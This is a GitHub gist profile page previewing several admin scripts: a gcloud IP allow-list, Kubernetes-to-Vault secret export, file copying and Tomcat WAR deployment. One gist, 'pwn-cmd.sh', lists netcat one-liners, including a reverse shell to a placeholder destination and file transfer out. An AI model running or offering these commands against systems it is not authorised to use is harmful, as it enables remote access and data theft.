Skip to content

Instantly share code, notes, and snippets.

View megalucio's full-sized avatar

Ignacio Íñigo Hernández megalucio

View GitHub Profile
@megalucio
megalucio / allow_my_public_ip.sh
Created January 31, 2023 13:20
Bash script to enable your public ip to access the project configured locally with gcloud
#!/bin/bash
# Bash script to enable your public ip to access the project configured locally with gcloud.
# If a rule already exists associated with this principal(set up as the description on creation time),
# the existing rule is updated instead of creating a new rule.
# You need to have gcloud installed and initialized with your principal and corresponding project you want to access to.
# A security policy with the name defined under the POLICY_NAME variable above must exist already in the project
# Input parameters
PRINCIPAL=$(gcloud auth list --filter=status:ACTIVE --format='value(ACCOUNT)')
@megalucio
megalucio / transferSecrets.py
Created November 24, 2022 11:27
Python script to read Kubernetes Secrets and export them into Hashicorp Vault.
#!/usr/bin/env python3
"""
Python script to read Kubernetes Secrets and export them into
Hashicorp Vault. The following environment variables need to be defined:
VAULT_ADDR: Address of the vault
VAULT_SECRETS_PATH: Root path where secrets will be stored
SECRET_NAMES: Names of the secrets that will be exported. This filed is OPTIONAL, if not provided, all secrets will be exported.
"""
import yaml
@megalucio
megalucio / pwn-cmd.sh
Last active August 5, 2022 00:03
Some useful pwn commands
# Netcat simple listen
netcat -lvp [port]
# Netcat reverse shell
nc -e /bin/sh [destination] [port]
# Nectat file transfer
nc -l -p 1234 > out.file
nc -w 3 [destination] [port] < out.file
@megalucio
megalucio / copy-files-preserving-diff-duplicates.py
Last active February 11, 2021 14:49
Copies files from one folder(new_folder) to another(main_folder) making sure that if there is a duplicate it doesn't get overwritten but instead copied with a different name.
#!/usr/bin/env python
# Copies files from one folder(new_folder) to another(main_folder) making sure that
# if there is a duplicate it doesn't get overwritten but instead copied with a different name.
import os
import filecmp
import shutil
import glob
import sys
# Looks for a file in a path
@megalucio
megalucio / deploy-war.sh
Created December 23, 2020 22:00
Script to compile and deploy maven generated war file into servlets container.
#!/bin/sh
[ "$UID" -eq 0 ] || exec sudo "$0" "$@"
export DESTINATION=/usr/share/tomcat/webapps
export WAR_NAME=mywebapp
export WAR_EXTENSION=war.original
export MAVEN_HOME=~/apache-maven-3.5.4
export SERVICE_NAME=tomcat
set -x #echo on
set -e #exit on error
service $SERVICE_NAME stop